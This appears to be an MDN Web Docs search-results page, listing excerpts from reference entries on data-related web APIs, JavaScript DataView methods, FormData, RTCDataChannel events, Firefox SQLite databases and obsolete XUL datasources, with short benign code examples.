... syntax new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the new dataview object.
... return value a new dataview object representing the specified data buffer.
... examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification.
RDF: Resource Description Framework for metadata - Archive of obsolete content
ArchiveWebRDF
resource description framework (rdf) is a family of specifications for a metadata model that is often implemented as an application of xml.
... the rdf metadata model is based upon the idea of making statements about resources in the form of a subject-predicate-object expression, called a triple in rdf terminology.
... rdf datasource how-to a cookbook-style document describing how to create a native, client-side datasource that works with mozilla's rdf implementation.
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
a fetch metadata request header is a http request header that provides additional information about the context the request originated from.
... fetch metadata request headers provide the server with additional information about where the request originated from, enabling it to ignore potentially malicious requests.
... the following are fetch metadata request headers: sec-fetch-site sec-fetch-mode sec-fetch-user sec-fetch-dest ...
Metadata - MDN Web Docs Glossary: Definitions of Web-related terms
metadata is — in its very simplest definition — data that describes data.
... for example, an html document is data, but html can also contain metadata in its <head> element that describes the document — for example who wrote it, and its summary.
... learn more general knowledge metadata on wikipedia html metadata the <meta> element on mdn ...
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
udp (user datagram protocol) is a long standing protocol used together with ip for sending data when transmission speed and efficiency matter more than security and reliability.
...udp provides checksums for data integrity, and port numbers for addressing different functions at the source and destination of the datagram.
... general knowledge user datagram protocol on wikipedia technical reference specification ...
Localizing extension metadata on addons.mozilla.org
amo supports localized metadata for each extension.
... this data describes the extension, and doesn't necessarily change with each revision (but it can).
... the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is divided into several steps.
PRSocketOptionData
syntax #include <prio.h> typedef struct prsocketoptiondata { prsockoption option; union { pruintn ip_ttl; pruintn mcast_ttl; pruintn tos; prbool non_blocking; prbool reuse_addr; prbool keep_alive; prbool mcast_loopback; prbool no_delay; prsize max_segment; prsize recv_buffer_size; prsize send_buffer_size; prlinger linger; prmcastrequest add_member; prmcastrequest drop_member; prnetaddr mcast_if; } value; } prsocketoptiondata; fields the structure has the following fields: ip_ttl ip time-to-live.
... linger time to linger on close if data are present in socket send buffer.
... description prsocketoptiondata is a name-value pair for a socket option.
The Places database
this document provides a high-level overview of the overall database design of the places system.
... favicon table moz_favicons: this contains a list of unique favicon uris and data.
... if the mime type of the image is image/png, the data blob must be reencoded from base16 (the format in which it is stored) to base64 in order to display correctly.
places.sqlite Database Troubleshooting
this article describes troubleshooting actions to deal with a broken places.sqlite database.
... sqlite> .exit open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug.
... if the database is still broken (missing history, creating -corrupt file, ...), please file a bug.
NS_CStringCloneData
« xpcom api reference summary the ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
... #include "nsstringapi.h" char* ns_cstringclonedata( const nsacstring& astring ); parameters astring [in] a nsacstring instance whose data is to be cloned.
... return values the ns_cstringcutdata function returns a pointer to a null-terminated, heap allocated buffer on success.
NS_StringCloneData
« xpcom api reference summary the ns_stringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
... #include "nsstringapi.h" prunichar* ns_stringclonedata( const nsastring& astring ); parameters astring [in] a nsastring instance whose data is to be cloned.
... return values the ns_stringcutdata function returns a pointer to a null-terminated, heap allocated buffer on success.
CompositionEvent.data - Web APIs
the data read-only property of the compositionevent interface returns the characters generated by the input method that raised the event; its exact nature varies depending on the type of event that generated the compositionevent object.
... syntax mydata = compositionevent.data value a domstring representing the event data: for compositionstart events, this is the currently selected text that will be replaced by the string being composed.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'data' in that specification.
DataTransfer() - Web APIs
the datatransfer constructor creates a new datatransfer object instance.
... syntax var datatrans = new datatransfer() parameters none.
... specifications specification status comment html living standardthe definition of 'the datatransfer() constructor' in that specification.
DataTransfer.addElement() - Web APIs
the datatransfer.addelement() method sets the drag source to the given element.
... syntax void datatransfer.addelement(el); arguments el the element to set as the drag source.
... return value void example this example shows the use of the addelement() method function change_drag_node(event, node) { var dt = event.datatransfer; dt.addelement(node); } specifications this method is not defined in any web standard.
DataTransfer.mozCursor - Web APIs
the datatransfer.mozcursor property returns or sets the drag cursor's state.
... syntax datatransfer.mozcursor; return value a domstring representing one of the values listed above.
... function drop_handler(event) { var dragdata = event.datatransfer; console.log("mozcursor = " + dragdata.mozcursor); } specifications this property is not defined in any web standard.
DataTransfer.mozItemCount - Web APIs
the datatransfer.mozitemcount property returns the number of items being dragged.
... syntax datatransfer.mozitemcount; return value a number representing the number of items being dragged.
... function drop_handler(event) { var files = []; var dt = event.datatransfer; for (var i = 0; i < dt.mozitemcount; i++) files.push(dt.mozgetdataat("application/x-moz-file", i)); } specifications this property is not defined in any web standard.
DataTransfer.mozSourceNode - Web APIs
the datatransfer.mozsourcenode property is used to determine the node over which the mouse cursor was located when the the drag operation was initiated (for example, when a <button> was clicked).
... syntax datatransfer.mozsourcenode; return value a node representing node where the drag originated.
... function dragend_handler(event) { var dragdata = event.datatransfer; var node = dragdata.mozsourcenode; if (node != null) console.log("mozsourcenode = " + dragdata.mozsourcenode); else console.log("mozsourcenode is null"); } specifications this property is not defined in any web standard.
DataTransfer.mozUserCancelled - Web APIs
the datatransfer.mozusercancelled property is used in the dragend event handler to determine if the user canceled the drag or not.
... syntax datatransfer.mozusercancelled; return value a boolean representing true if the user canceled the drag event and returns false otherwise.
... function dragend_handler(event) { var dragdata = event.datatransfer; console.log("mozusercancelled = " + dragdata.mozusercancelled); } specifications this property is not defined in any web standard.
File.getAsDataURL() - Web APIs
WebAPIFilegetAsDataURL
summary the getasdataurl provides a data: url that encodes the entire contents of the referenced file.
... note: this method is obsolete; you should use the filereader method readasdataurl() instead.
... syntax var url = instanceoffile.getasdataurl(); returns a string representing a data: url example // fileinput is a htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // array with acceptable file types var accept = ["image/png"]; // img is a htmlimgelement: <img id="myimg"> var img = document.getelementbyid("myimg"); // if we accept the first selected file type if (accept.indexof(files[0].mediatype) > -1) { // display the image // same as <img src="data:image/png,<imagedata>"> img.src = files[0].getasdataurl(); } specification not part of any specification.
FormData.delete() - Web APIs
WebAPIFormDatadelete
the delete() method of the formdata interface deletes a key and its value(s) from a formdata object.
... syntax formdata.delete(name); parameters name the name of the key you want to delete.
... example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
the formdata.entries() method returns an iterator allowing to go through all key/value pairs contained in this object.
... syntax formdata.entries(); return value returns an iterator.
... example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
the has() method of the formdata interface returns a boolean stating whether a formdata object contains a certain key.
... syntax formdata.has(name); parameters name a usvstring representing the name of the key you want to test for.
... example the following line creates an empty formdata object: var formdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.keys() - Web APIs
WebAPIFormDatakeys
the formdata.keys() method returns an iterator allowing to go through all keys contained in this object.
... syntax formdata.keys(); return value returns an iterator.
... example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
the formdata.values() method returns an iterator allowing to go through all values contained in this object.
... syntax formdata.values(); return value returns an iterator.
... example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
HTMLDataElement.value - Web APIs
the value property of the htmldataelement interface returns a domstring reflecting the value html attribute.
... syntax var avalue = htmldataelement.value htmldataelement.value = avalue value a domstring.
... specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification.
HTMLObjectElement.data - Web APIs
the data property of the htmlobjectelement interface returns a domstring that reflects the data html attribute, specifying the address of a resource's data.
... syntax var data = htmlobjectelement.data; htmlobjectelement.data; value a domstring.
... specifications specification status comment html living standardthe definition of 'data' in that specification.
ImageData.height - Web APIs
WebAPIImageDataheight
the readonly imagedata.height property returns the number of rows in the imagedata object.
... syntax imagedata.height example this example creates an imagedata object that is 200 pixels wide and 100 pixels tall.
... let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
ImageData.width - Web APIs
WebAPIImageDatawidth
the readonly imagedata.width property returns the number of pixels per row in the imagedata object.
... syntax imagedata.width example this example creates an imagedata object that is 200 pixels wide and 100 pixels tall.
... let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
initDataTypes - Web APIs
the mediakeysystemconfiguration.initdatatypes read-only property returns a list of supported initialization data type names.
... an initialization data type is a string indicating the format of the initialization data.
... syntax var datatypes[] = mediasystemconfiguration.initdatatypes; specifications specification status comment encrypted media extensionsthe definition of 'initdatatypes' in that specification.
MessageEvent.data - Web APIs
WebAPIMessageEventdata
the data read-only property of the messageevent interface represents the data sent by the message emitter.
... syntax var data = messageevent.data; value the data sent by the message emitter; this can be any data type.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
NetworkInformation.saveData - Web APIs
the networkinformation.savedata read-only property of the networkinformation interface returns true if the user has set a reduced data usage option on the user agent.
... syntax var savedata = networkinformation.savedata; value a boolean.
... specifications specification save data api ...
PaymentRequestEvent.methodData - Web APIs
the methoddata read-only property of the paymentrequestevent interface returns an array of paymentmethoddata objects containing payment method identifers for the payment methods that the web site accepts and any associated payment method specific data.
... syntax var methoddata[] = paymentrequestevent.methoddata value an array of paymentmethoddata objects.
... specifications specification status comment payment handler apithe definition of 'methoddata' in that specification.
RTCDataChannel: close event - Web APIs
the close event is sent to the onclose event handler on an rtcdatachannel instance when the data transport being used for the data channel has closed.
... before any further data can be transferred using rtcdatachannel, a new data channel instance must be created.
... bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
RTCDataChannel: error event - Web APIs
a webrtc error event is sent to an rtcdatachannel object's onerror error handler when an error occurs on the data channel.
...60, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.
... you can also set up an event handler for error events using the rtcdatachannel interface's onerror event handler property: dc.onerror = ev => { const err = ev.error; /* ...
RTCDataChannel.reliable - Web APIs
the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.
...use rtcdatachannel.ordered instead in any new code, and update existing code as soon as possible.
... syntax var reliable = adatachannel.reliable; value true if the rtcdatachannel's connection is reliable; false if it isn't.
prefers-reduced-data - CSS: Cascading Style Sheets
the prefers-reduced-data css media feature is used to detect if the user has requested the web content that consumes less internet traffic.
... in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case the "system font stack" will serve as the fallback font: html <head> <link rel="preload" href="fonts/montserrat-regular.woff2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; ...
...ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "segoe ui emoji", "segoe ui symbol"; } result specifications specification status comment media queries level 5the definition of 'reduced-data' in that specification.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
css data types define typical values (including keywords and units) accepted by css properties and functions.
... in formal syntax, data types are denoted by a keyword placed between the inequality signs "<" and ">".
... index the data types defined by the set of css specifications include the following: <angle> <angle-percentage> <angular-color-hint> <angular-color-stop> <attr-fallback> <attr-name> <basic-shape> <blend-mode> <calc-product> <calc-sum> <calc-value> <color> <color-stop> <color-stop-angle> <counter-style> <custom-ident> <dimension> <filter-function> <flex> <frequency> <frequency-percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <timing-function> <toggle-value> <transform-function> <type-or-unit> <url> <url-modifier> <zero> specifications specification status ...
Early-Data - HTTP
the early-data header is set by an intermediary to indicate that the request has been conveyed in tls early data, and also indicates that the intermediary understands the 425 (too early) status code.
... the early-data header is not set by the originator of the request (i.e., a browser).
... header type request header forbidden header name no syntax early-data: 1 examples get /resource http/1.0 host: example.com early-data: 1 specifications specification title rfc 8470, section 5.1: the early-data header field using early data in http ...
DataView.prototype.buffer - JavaScript
the buffer accessor property represents the arraybuffer or sharedarraybuffer referenced by the dataview at construction time.
...the value is established when the dataview is constructed and cannot be changed.
... examples using the buffer property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification.
DataView.prototype.byteLength - JavaScript
the value is established when an dataview is constructed and cannot be changed.
... if the dataview is not specifying an offset or a bytelength, the bytelength of the referenced arraybuffer or sharedarraybuffer will be returned.
... examples using the bytelength property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.bytelength' in that specification.
DataView.prototype.getBigInt64() - JavaScript
the getbigint64() method gets a signed 64-bit integer (long long) at the specified byte offset from the start of the dataview.
... syntax dataview.getbigint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to read the data from.
... examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
the getbiguint64() method gets an unsigned 64-bit integer (unsigned long long) at the specified byte offset from the start of the dataview.
... syntax dataview.getbiguint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to read the data from.
... examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
the getfloat32() method gets a signed 32-bit float (float) at the specified byte offset from the start of the dataview.
... syntax dataview.getfloat32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
the getfloat64() method gets a signed 64-bit float (double) at the specified byte offset from the start of the dataview.
... syntax dataview.getfloat64(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
the getint16() method gets a signed 16-bit integer (short) at the specified byte offset from the start of the dataview.
... syntax dataview.getint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
the getint32() method gets a signed 32-bit integer (long) at the specified byte offset from the start of the dataview.
... syntax dataview.getint32(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view where to read the data.
... examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification.
DataView.prototype.getInt8() - JavaScript
the getint8() method gets a signed 8-bit integer (byte) at the specified byte offset from the start of the dataview.
... syntax dataview.getint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification.
DataView.prototype.getUint16() - JavaScript
the getuint16() method gets an unsigned 16-bit integer (unsigned short) at the specified byte offset from the start of the dataview.
... syntax dataview.getuint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
the getuint32() method gets an unsigned 32-bit integer (unsigned long) at the specified byte offset from the start of the dataview.
... syntax dataview.getuint32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification.
DataView.prototype.getUint8() - JavaScript
the getuint8() method gets an unsigned 8-bit integer (unsigned byte) at the specified byte offset from the start of the dataview.
... syntax dataview.getuint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the view where to read the data.
... examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification.
DataView.prototype.setBigInt64() - JavaScript
the setbigint64() method stores a signed 64-bit integer (long long) value at the specified byte offset from the start of the dataview.
... syntax dataview.setbigint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to store the data from.
... examples using the setbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
the setbiguint64() method stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset from the start of the dataview.
... syntax dataview.setbiguint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the view to store the data from.
... examples using the setbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
the setfloat32() method stores a signed 32-bit float (float) value at the specified byte offset from the start of the dataview.
... syntax dataview.setfloat32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
the setfloat64() method stores a signed 64-bit float (double) value at the specified byte offset from the start of the dataview.
... syntax dataview.setfloat64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
the setint16() method stores a signed 16-bit integer (short) value at the specified byte offset from the start of the dataview.
... syntax dataview.setint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
the setint32() method stores a signed 32-bit integer (long) value at the specified byte offset from the start of the dataview.
... syntax dataview.setint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification.
DataView.prototype.setInt8() - JavaScript
the setint8() method stores a signed 8-bit integer (byte) value at the specified byte offset from the start of the dataview.
... syntax dataview.setint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification.
DataView.prototype.setUint16() - JavaScript
the setuint16() method stores an unsigned 16-bit integer (unsigned short) value at the specified byte offset from the start of the dataview.
... syntax dataview.setuint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
the setuint32() method stores an unsigned 32-bit integer (unsigned long) value at the specified byte offset from the start of the dataview.
... syntax dataview.setuint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification.
DataView.prototype.setUint8() - JavaScript
the setuint8() method stores an unsigned 8-bit integer (byte) value at the specified byte offset from the start of the dataview.
... syntax dataview.setuint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the view where to store the data.
... examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification.
database - Archive of obsolete content
« xul reference database type: nsirdfcompositedatasource returns the composite datasource created when all the datasources of an element are combined.
... set to null for elements that do not have a datasources attribute.
datasources - Archive of obsolete content
« xul reference datasources type: space-separated list of datasource uris gets and sets the value of the datasources attribute.
... in newer versions of mozilla (1.7+), the datasources will be reloaded and the template rebuilt.
Data structure - MDN Web Docs Glossary: Definitions of Web-related terms
data structure is a particular way of organizing data so that it can be used efficiently.
... learn moreedit general knowledge data structure on wikipedia ...
Firefox Operational Information Database: SQLite
a large amount of operational information about websites visited and browser configuration is stored in relational databases in sqlite used by firefox.
... in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the tables listed in the left column and see the current contents of the database in the 'browse & search' tab.) some databases are used by the browser itself, others are used by applications that you have installed or used; for example: content-prefs.sqlite cookies.sqlite download.sqlite formhistory.sqlite persmissions.sqlite places.sqlite search.sqlite signons.sqlite webappstore.sqlite ...
nsISmsDatabaseService
nsismsdatabaseservice dom/sms/interfaces/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1.
... to create an instance, use: var smsservice = components.classes["@mozilla.org/sms/smsdatabaseservice;1"] .createinstance(components.interfaces.nsismsdatabaseservice); method overview long savereceivedmessage(in domstring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid...
BlobEvent.data - Web APIs
WebAPIBlobEventdata
the blobevent.data read-only property represents a blob associated with the event.
... syntax associatedblob = blobevent.data specifications specification status comment mediastream recordingthe definition of 'blobevent.data' in that specification.
BluetoothAdvertisingData.appearance - Web APIs
the appearance read-only property of the bluetoothadvertisingdata interface returns one of the values defined by the org.bluetooth.characteristic.gap.appearance characteristic.
... syntax var appearance = bluetoothadvertisingdata.appearance; ...
manufacturerData - Web APIs
the manufacturerdata read-only property of the bluetoothadvertisingdata interface returns a map that relates company identifier codes to arraybuffers.
... syntax varmanufacturerdata = bluetoothadvertisingdata.manufacturerdata; ...
serviceData - Web APIs
the servicedata read-only property of the bluetoothadvertisingdata interface returns a map that relates uuids to arraybuffers.
... syntax var servicedata = bluetoothadvertisingdata.servicedata; ...
adData - Web APIs
the bluetoothdevice.addata read-only property returns instance of bluetoothadvertisingdata containing the most recent advertising data received for the device.
... syntax var instanceofbluetoothaddata = instanceofbluetoothdevice.addata returns an instance of bluetoothadvertisingdata.
ClipboardEvent.clipboardData - Web APIs
the clipboardevent.clipboarddata property holds a datatransfer object, which can be used: to specify what data should be put into the clipboard from the cut and copy event handlers, typically with a setdata(format, data) call; to obtain the data to be pasted from the paste event handler, typically with a getdata(format) call.
... syntax data = clipboardevent.clipboarddata specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent.clipboarddata' in that specification.
DataTransfer.files - Web APIs
the datatransfer.files property is a list of the files in the drag operation.
... syntax datatransfer.files; return value a list of the files in a drag operation, one list item for each file in the operation.
RTCDataChannel: open event - Web APIs
the webrtc open event is sent to an rtcdatachannel object's onopen event handler when the underlying transport used to send and receive the data channel's messages is opened or re-opened.
... bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established.
DataView.prototype.byteOffset - JavaScript
the value is established when an dataview is constructed and cannot be changed.
... examples using the byteoffset property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 = new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specification.
Isp Data - Archive of obsolete content
getting started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mailnews/base/ispdata/aol.rdf see the thunderbird isp hooks for more details.
statedatasource - Archive of obsolete content
« xul reference home statedatasource type: uri chrome xul may specify an rdf datasource to use to store tree state information.
nsIDOMMozNetworkStatsData
dom/network/interfaces/nsidomnetworkstats.idlscriptable represents a single record in the network statistics database, as reported using the nsidommoznetworkstatsmanager interface.
data
documentation is now located at nsisupportsvoid.data().
Index - Web APIs
WebAPIIndex
2 angle_instanced_arrays api, reference, webgl, webgl extension the angle_instanced_arrays extension is part of the webgl api and allows to draw the same object, or groups of similar objects multiple times, if they share the same vertex data, primitive count and type.
... 3 angle_instanced_arrays.drawarraysinstancedangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.drawarraysinstancedangle() method of the webgl api renders primitives from array data like the gl.drawarrays() method.
... 4 angle_instanced_arrays.drawelementsinstancedangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.drawelementsinstancedangle() method of the webgl api renders primitives from array data like the gl.drawelements() method.
...And 599 more matches
Index
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
... a cryptographic transaction, such as encryption or decryption related to a data exchange, usually involves working with the x.509 certs of your communication partners (peer).
...all of this requires storing, looking up, and retrieving data.
...And 315 more matches
Index - Archive of obsolete content
7 window: deviceproximity event sensors, events the deviceproximity event is fired when fresh data is available from a proximity sensor.
